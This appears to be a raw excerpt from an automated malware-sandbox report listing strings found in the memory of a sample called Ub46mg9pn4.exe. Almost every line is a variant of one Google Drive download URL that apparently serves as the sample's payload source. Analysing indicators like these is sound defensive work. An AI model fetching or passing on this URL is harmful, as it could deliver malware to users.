Source: Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/a
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download=Fv
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadR
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadeG
Source: Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadg
Source: Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadider
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloads
Source: Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloads%
Source: Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ertificates
Source: Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/g
Source: Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/h
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ne
Source: Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/r
Source: Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/rcontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=do
Source: Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121443257476.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153261232.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121785985727.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ
Source: Ub46mg9pn4.exe, 00000003.00000003.120995140357.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252479104.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258653963.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122700245921.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122587863115.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001578842.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364253059.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120882654559.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475959028.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122370413671.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ-
Source: Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJA/
Source: Ub46mg9pn4.exe, 00000003.00000003.121331374133.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252479104.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121674037286.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258653963.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122587863115.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364253059.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475959028.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122370413671.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJC
Source: Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121785985727.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122587863115.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122700245921.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122370413671.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJW
Source: Ub46mg9pn4.exe, 00000003.00000003.120770304331.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812543384.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364253059.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJY
Source: Ub46mg9pn4.exe, 00000003.00000003.121443257476.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153261232.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252479104.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033779228.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121779724132.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121337618127.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121674037286.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812543384.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258653963.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122700245921.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122587863115.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ_
Source: Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJcnkvTZTxHaVb9lJ
Source: Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJcnkvTZTxHaVb9lJry
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJcnkvTZTxHaVb9lJry~
Source: Ub46mg9pn4.exe, 00000003.00000003.121443257476.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.123153261232.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252479104.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033779228.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121779724132.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121337618127.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121674037286.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812543384.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258653963.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122700245921.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122587863115.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJq
Source: Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJq/
Source: Ub46mg9pn4.exe, 00000003.00000003.123153261232.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263289882.000000000609E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJw
Source: Ub46mg9pn4.exe, 00000003.00000003.121891793726.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJy
Source: Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/w(
Source: Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776784939.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770304331.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120882654559.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121337618127.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/.M
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 